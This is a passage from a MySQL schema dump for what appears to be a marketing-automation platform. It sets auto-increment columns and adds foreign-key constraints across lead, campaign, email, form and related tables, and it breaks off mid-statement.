ALTER TABLE `[[dbprefix]]oauth2_clients`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]oauth2_refreshtokens`
--
ALTER TABLE `[[dbprefix]]oauth2_refreshtokens`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]pages`
--
ALTER TABLE `[[dbprefix]]pages`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]pages_draft`
--
ALTER TABLE `[[dbprefix]]pages_draft`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]page_hits`
--
ALTER TABLE `[[dbprefix]]page_hits`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]page_redirects`
--
ALTER TABLE `[[dbprefix]]page_redirects`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]permissions`
--
ALTER TABLE `[[dbprefix]]permissions`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]plugins`
--
ALTER TABLE `[[dbprefix]]plugins`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `[[dbprefix]]plugin_integration_settings`
--
ALTER TABLE `[[dbprefix]]plugin_integration_settings`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `[[dbprefix]]points`
--
ALTER TABLE `[[dbprefix]]points`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]point_groups`
--
ALTER TABLE `[[dbprefix]]point_groups`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]point_triggers`
--
ALTER TABLE `[[dbprefix]]point_triggers`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]point_trigger_events`
--
ALTER TABLE `[[dbprefix]]point_trigger_events`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]projects`
--
ALTER TABLE `[[dbprefix]]projects`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]push_ids`
--
ALTER TABLE `[[dbprefix]]push_ids`
  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]push_notifications`
--
ALTER TABLE `[[dbprefix]]push_notifications`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]push_notification_stats`
--
ALTER TABLE `[[dbprefix]]push_notification_stats`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]reports`
--
ALTER TABLE `[[dbprefix]]reports`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=6;

--
-- AUTO_INCREMENT for table `[[dbprefix]]reports_schedulers`
--
ALTER TABLE `[[dbprefix]]reports_schedulers`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]roles`
--
ALTER TABLE `[[dbprefix]]roles`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `[[dbprefix]]sms_messages`
--
ALTER TABLE `[[dbprefix]]sms_messages`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]sms_message_stats`
--
ALTER TABLE `[[dbprefix]]sms_message_stats`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]stages`
--
ALTER TABLE `[[dbprefix]]stages`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]sync_object_field_change_report`
--
ALTER TABLE `[[dbprefix]]sync_object_field_change_report`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]sync_object_mapping`
--
ALTER TABLE `[[dbprefix]]sync_object_mapping`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]tweets`
--
ALTER TABLE `[[dbprefix]]tweets`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]tweet_stats`
--
ALTER TABLE `[[dbprefix]]tweet_stats`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]users`
--
ALTER TABLE `[[dbprefix]]users`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `[[dbprefix]]user_tokens`
--
ALTER TABLE `[[dbprefix]]user_tokens`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]video_hits`
--
ALTER TABLE `[[dbprefix]]video_hits`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]webhooks`
--
ALTER TABLE `[[dbprefix]]webhooks`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]webhook_events`
--
ALTER TABLE `[[dbprefix]]webhook_events`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]webhook_logs`
--
ALTER TABLE `[[dbprefix]]webhook_logs`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]webhook_queue`
--
ALTER TABLE `[[dbprefix]]webhook_queue`
  MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `[[dbprefix]]widgets`
--
ALTER TABLE `[[dbprefix]]widgets`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- Constraints for dumped tables
--

--
-- Constraints for table `[[dbprefix]]assets`
--
ALTER TABLE `[[dbprefix]]assets`
  ADD CONSTRAINT `FK_56A7DF7712469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]asset_downloads`
--
ALTER TABLE `[[dbprefix]]asset_downloads`
  ADD CONSTRAINT `FK_D368B4D55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_D368B4D5DA1941` FOREIGN KEY (`asset_id`) REFERENCES `[[dbprefix]]assets` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_D368B4DA03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_D368B4DA832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]asset_projects_xref`
--
ALTER TABLE `[[dbprefix]]asset_projects_xref`
  ADD CONSTRAINT `FK_388D6C66166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_388D6C665DA1941` FOREIGN KEY (`asset_id`) REFERENCES `[[dbprefix]]assets` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]bundle_grapesjsbuilder`
--
ALTER TABLE `[[dbprefix]]bundle_grapesjsbuilder`
  ADD CONSTRAINT `FK_E026A2B3A832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaigns`
--
ALTER TABLE `[[dbprefix]]campaigns`
  ADD CONSTRAINT `FK_7C31366212469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]campaign_events`
--
ALTER TABLE `[[dbprefix]]campaign_events`
  ADD CONSTRAINT `FK_25BBE92535451138` FOREIGN KEY (`redirect_event_id`) REFERENCES `[[dbprefix]]campaign_events` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_25BBE925727ACA70` FOREIGN KEY (`parent_id`) REFERENCES `[[dbprefix]]campaign_events` (`id`),
  ADD CONSTRAINT `FK_25BBE925F639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaign_form_xref`
--
ALTER TABLE `[[dbprefix]]campaign_form_xref`
  ADD CONSTRAINT `FK_E662C7135FF69B7D` FOREIGN KEY (`form_id`) REFERENCES `[[dbprefix]]forms` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_E662C713F639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaign_leadlist_xref`
--
ALTER TABLE `[[dbprefix]]campaign_leadlist_xref`
  ADD CONSTRAINT `FK_D2074C9AB9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_D2074C9AF639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaign_leads`
--
ALTER TABLE `[[dbprefix]]campaign_leads`
  ADD CONSTRAINT `FK_F76FBA1255458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_F76FBA12F639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaign_lead_event_failed_log`
--
ALTER TABLE `[[dbprefix]]campaign_lead_event_failed_log`
  ADD CONSTRAINT `FK_FA1B25F1EA675D86` FOREIGN KEY (`log_id`) REFERENCES `[[dbprefix]]campaign_lead_event_log` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaign_lead_event_log`
--
ALTER TABLE `[[dbprefix]]campaign_lead_event_log`
  ADD CONSTRAINT `FK_7BF8FB7D55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_7BF8FB7D71F7E88B` FOREIGN KEY (`event_id`) REFERENCES `[[dbprefix]]campaign_events` (`id`),
  ADD CONSTRAINT `FK_7BF8FB7DA03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_7BF8FB7DF639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`);

--
-- Constraints for table `[[dbprefix]]campaign_projects_xref`
--
ALTER TABLE `[[dbprefix]]campaign_projects_xref`
  ADD CONSTRAINT `FK_2D44E8D8166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_2D44E8D8F639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]campaign_summary`
--
ALTER TABLE `[[dbprefix]]campaign_summary`
  ADD CONSTRAINT `FK_1353261471F7E88B` FOREIGN KEY (`event_id`) REFERENCES `[[dbprefix]]campaign_events` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_13532614F639F774` FOREIGN KEY (`campaign_id`) REFERENCES `[[dbprefix]]campaigns` (`id`);

--
-- Constraints for table `[[dbprefix]]channel_url_trackables`
--
ALTER TABLE `[[dbprefix]]channel_url_trackables`
  ADD CONSTRAINT `FK_9906EDA9B42D874D` FOREIGN KEY (`redirect_id`) REFERENCES `[[dbprefix]]page_redirects` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]companies`
--
ALTER TABLE `[[dbprefix]]companies`
  ADD CONSTRAINT `FK_1D06E8287E3C61F9` FOREIGN KEY (`owner_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]companies_leads`
--
ALTER TABLE `[[dbprefix]]companies_leads`
  ADD CONSTRAINT `FK_5F66CD7455458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_5F66CD74979B1AD6` FOREIGN KEY (`company_id`) REFERENCES `[[dbprefix]]companies` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]company_projects_xref`
--
ALTER TABLE `[[dbprefix]]company_projects_xref`
  ADD CONSTRAINT `FK_C7B9A754166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_C7B9A754979B1AD6` FOREIGN KEY (`company_id`) REFERENCES `[[dbprefix]]companies` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]contact_export_scheduler`
--
ALTER TABLE `[[dbprefix]]contact_export_scheduler`
  ADD CONSTRAINT `FK_85698433A76ED395` FOREIGN KEY (`user_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]contact_merge_records`
--
ALTER TABLE `[[dbprefix]]contact_merge_records`
  ADD CONSTRAINT `FK_38D07B80E7A1254A` FOREIGN KEY (`contact_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]dynamic_content`
--
ALTER TABLE `[[dbprefix]]dynamic_content`
  ADD CONSTRAINT `FK_8BC6197012469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_8BC619709091A2FB` FOREIGN KEY (`translation_parent_id`) REFERENCES `[[dbprefix]]dynamic_content` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_8BC6197091861123` FOREIGN KEY (`variant_parent_id`) REFERENCES `[[dbprefix]]dynamic_content` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]dynamic_content_lead_data`
--
ALTER TABLE `[[dbprefix]]dynamic_content_lead_data`
  ADD CONSTRAINT `FK_C16B96AE55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_C16B96AED9D0CD7` FOREIGN KEY (`dynamic_content_id`) REFERENCES `[[dbprefix]]dynamic_content` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]dynamic_content_projects_xref`
--
ALTER TABLE `[[dbprefix]]dynamic_content_projects_xref`
  ADD CONSTRAINT `FK_C70B9C64166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_C70B9C64D9D0CD7` FOREIGN KEY (`dynamic_content_id`) REFERENCES `[[dbprefix]]dynamic_content` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]dynamic_content_stats`
--
ALTER TABLE `[[dbprefix]]dynamic_content_stats`
  ADD CONSTRAINT `FK_5EB36BF55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_5EB36BFD9D0CD7` FOREIGN KEY (`dynamic_content_id`) REFERENCES `[[dbprefix]]dynamic_content` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]emails`
--
ALTER TABLE `[[dbprefix]]emails`
  ADD CONSTRAINT `FK_63F74AAB12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_63F74AAB2DC494F6` FOREIGN KEY (`unsubscribeform_id`) REFERENCES `[[dbprefix]]forms` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_63F74AAB834F9C5B` FOREIGN KEY (`preference_center_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_63F74AAB9091A2FB` FOREIGN KEY (`translation_parent_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_63F74AAB91861123` FOREIGN KEY (`variant_parent_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]emails_draft`
--
ALTER TABLE `[[dbprefix]]emails_draft`
  ADD CONSTRAINT `FK_FCFC80AAA832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`);

--
-- Constraints for table `[[dbprefix]]email_assets_xref`
--
ALTER TABLE `[[dbprefix]]email_assets_xref`
  ADD CONSTRAINT `FK_36FD1ED85DA1941` FOREIGN KEY (`asset_id`) REFERENCES `[[dbprefix]]assets` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_36FD1ED8A832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]email_list_excluded`
--
ALTER TABLE `[[dbprefix]]email_list_excluded`
  ADD CONSTRAINT `FK_9C3B986AA832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_9C3B986AB9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]email_list_xref`
--
ALTER TABLE `[[dbprefix]]email_list_xref`
  ADD CONSTRAINT `FK_855B37DEA832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_855B37DEB9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]email_projects_xref`
--
ALTER TABLE `[[dbprefix]]email_projects_xref`
  ADD CONSTRAINT `FK_9CFA6AF166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_9CFA6AFA832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]email_stats`
--
ALTER TABLE `[[dbprefix]]email_stats`
  ADD CONSTRAINT `FK_2A2CE9083DAE168B` FOREIGN KEY (`list_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_2A2CE90855458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_2A2CE908A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_2A2CE908A832C1C9` FOREIGN KEY (`email_id`) REFERENCES `[[dbprefix]]emails` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_2A2CE908A8752772` FOREIGN KEY (`copy_id`) REFERENCES `[[dbprefix]]email_copies` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]email_stats_devices`
--
ALTER TABLE `[[dbprefix]]email_stats_devices`
  ADD CONSTRAINT `FK_DB8DA57E94A4C7D4` FOREIGN KEY (`device_id`) REFERENCES `[[dbprefix]]lead_devices` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_DB8DA57E9502F0B` FOREIGN KEY (`stat_id`) REFERENCES `[[dbprefix]]email_stats` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_DB8DA57EA03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]email_stat_replies`
--
ALTER TABLE `[[dbprefix]]email_stat_replies`
  ADD CONSTRAINT `FK_C7C399419502F0B` FOREIGN KEY (`stat_id`) REFERENCES `[[dbprefix]]email_stats` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]focus`
--
ALTER TABLE `[[dbprefix]]focus`
  ADD CONSTRAINT `FK_7B1E34D512469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]focus_projects_xref`
--
ALTER TABLE `[[dbprefix]]focus_projects_xref`
  ADD CONSTRAINT `FK_2A9E6AC6166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_2A9E6AC651804B42` FOREIGN KEY (`focus_id`) REFERENCES `[[dbprefix]]focus` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]focus_stats`
--
ALTER TABLE `[[dbprefix]]focus_stats`
  ADD CONSTRAINT `FK_234FBFF151804B42` FOREIGN KEY (`focus_id`) REFERENCES `[[dbprefix]]focus` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_234FBFF155458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]forms`
--
ALTER TABLE `[[dbprefix]]forms`
  ADD CONSTRAINT `FK_E4E165CB12469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]form_actions`
--
ALTER TABLE `[[dbprefix]]form_actions`
  ADD CONSTRAINT `FK_711BEB6E5FF69B7D` FOREIGN KEY (`form_id`) REFERENCES `[[dbprefix]]forms` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]form_fields`
--
ALTER TABLE `[[dbprefix]]form_fields`
  ADD CONSTRAINT `FK_9C2DF80B5FF69B7D` FOREIGN KEY (`form_id`) REFERENCES `[[dbprefix]]forms` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]form_projects_xref`
--
ALTER TABLE `[[dbprefix]]form_projects_xref`
  ADD CONSTRAINT `FK_2F032488166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_2F0324885FF69B7D` FOREIGN KEY (`form_id`) REFERENCES `[[dbprefix]]forms` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]form_submissions`
--
ALTER TABLE `[[dbprefix]]form_submissions`
  ADD CONSTRAINT `FK_BDCB25BD55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_BDCB25BD5FF69B7D` FOREIGN KEY (`form_id`) REFERENCES `[[dbprefix]]forms` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_BDCB25BDA03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_BDCB25BDC4663E4` FOREIGN KEY (`page_id`) REFERENCES `[[dbprefix]]pages` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]leads`
--
ALTER TABLE `[[dbprefix]]leads`
  ADD CONSTRAINT `FK_E4E3B6E2298D193` FOREIGN KEY (`stage_id`) REFERENCES `[[dbprefix]]stages` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_E4E3B6E7E3C61F9` FOREIGN KEY (`owner_id`) REFERENCES `[[dbprefix]]users` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]lead_categories`
--
ALTER TABLE `[[dbprefix]]lead_categories`
  ADD CONSTRAINT `FK_B9179A3612469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_B9179A3655458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_companies_change_log`
--
ALTER TABLE `[[dbprefix]]lead_companies_change_log`
  ADD CONSTRAINT `FK_30047CAE55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_devices`
--
ALTER TABLE `[[dbprefix]]lead_devices`
  ADD CONSTRAINT `FK_DF6684E55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_donotcontact`
--
ALTER TABLE `[[dbprefix]]lead_donotcontact`
  ADD CONSTRAINT `FK_8D1042BD55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_event_log`
--
ALTER TABLE `[[dbprefix]]lead_event_log`
  ADD CONSTRAINT `FK_A9A9340155458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_frequencyrules`
--
ALTER TABLE `[[dbprefix]]lead_frequencyrules`
  ADD CONSTRAINT `FK_B8DEEE555458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_ips_xref`
--
ALTER TABLE `[[dbprefix]]lead_ips_xref`
  ADD CONSTRAINT `FK_B51C1B8E55458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_B51C1B8EA03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_lists`
--
ALTER TABLE `[[dbprefix]]lead_lists`
  ADD CONSTRAINT `FK_9DE7612012469DE2` FOREIGN KEY (`category_id`) REFERENCES `[[dbprefix]]categories` (`id`) ON DELETE SET NULL;

--
-- Constraints for table `[[dbprefix]]lead_lists_leads`
--
ALTER TABLE `[[dbprefix]]lead_lists_leads`
  ADD CONSTRAINT `FK_8035A02755458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_8035A027B9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_list_projects_xref`
--
ALTER TABLE `[[dbprefix]]lead_list_projects_xref`
  ADD CONSTRAINT `FK_87BC3B0C166D1F9C` FOREIGN KEY (`project_id`) REFERENCES `[[dbprefix]]projects` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_87BC3B0CB9FC8874` FOREIGN KEY (`leadlist_id`) REFERENCES `[[dbprefix]]lead_lists` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_notes`
--
ALTER TABLE `[[dbprefix]]lead_notes`
  ADD CONSTRAINT `FK_94DA580955458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_points_change_log`
--
ALTER TABLE `[[dbprefix]]lead_points_change_log`
  ADD CONSTRAINT `FK_221B657855458D` FOREIGN KEY (`lead_id`) REFERENCES `[[dbprefix]]leads` (`id`) ON DELETE CASCADE,
  ADD CONSTRAINT `FK_221B6578A03F5E9F` FOREIGN KEY (`ip_id`) REFERENCES `[[dbprefix]]ip_addresses` (`id`) ON DELETE SET NULL,
  ADD CONSTRAINT `FK_221B6578FE54D947` FOREIGN KEY (`group_id`) REFERENCES `[[dbprefix]]point_groups` (`id`) ON DELETE CASCADE;

--
-- Constraints for table `[[dbprefix]]lead_stages_change_log`
--
ALTER TABLE `[[dbprefix]]lead_stages_change_log`
